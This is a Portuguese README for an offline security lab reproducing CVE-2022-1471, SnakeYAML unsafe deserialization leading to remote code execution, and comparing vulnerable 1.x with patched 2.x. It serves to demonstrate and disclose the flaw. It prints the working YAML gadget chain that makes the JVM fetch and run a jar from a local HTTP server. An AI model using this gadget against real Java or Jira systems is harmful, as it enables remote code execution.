
Laboratório offline CVE-2022-1471: desserialização insegura do SnakeYAML para RCE; compara a versão vulnerável 1.x com a corrigida 2.x usando um payload local inofensivo.
Laboratório offline e autossuficiente que comprova o mecanismo por trás de CVE-2022-1471 (desserialização insegura do SnakeYAML → RCE, CVSS 9.8), conforme empregado na descoberta envolvendo Jira / Jira Service Management em um host executando 9.4.9 (faixa afetada 9.4.0–9.4.12, corrigida na 9.4.14 — veja o Atlassian JSDSERVER-14906).
O laboratório demonstra exatamente duas coisas:
ConstructorException) — nada é executado.Ele não explora nenhum host ativo. Tudo roda em 127.0.0.1; o
payload (src/Exploit.java) é inofensivo — seu inicializador estático grava um
único arquivo de texto e nada mais.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Requer JDK 17+ no PATH (javac, java, jar). Se houver um JDK embutido
em tools/, ele será usado. O único tráfego de rede é um servidor HTTP local
em 127.0.0.1:8077 servindo o jar do payload, encerrado ao sair.
src/VulnDemo.java é um simples new Yaml().load(yaml) — a mesma chamada insegura
que as versões vulneráveis do Automation for Jira fazem no YAML de regras importadas. O
YAML do atacante é o gadget canônico:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x instancia classes arbitrárias sem lista de permissões → a JVM
busca e carrega uma classe do servidor do "atacante" → seu inicializador
estático é executado. SnakeYAML 2.x usa por padrão SafeConstructor, que
rejeita a tag global.
sample-output-PWNED-proof.txt mostra o conteúdo do arquivo marcador de uma execução;
screenshots/ mostra ambas as execuções (vulnerável vs corrigida).
Pesquisa de segurança autorizada. Prova apenas do mecanismo da biblioteca e do limite da correção — não é um exploit contra nenhum sistema de produção. Explorar o vetor Jira exige adicionalmente a importação autenticada (admin do Jira) de uma regra de automação.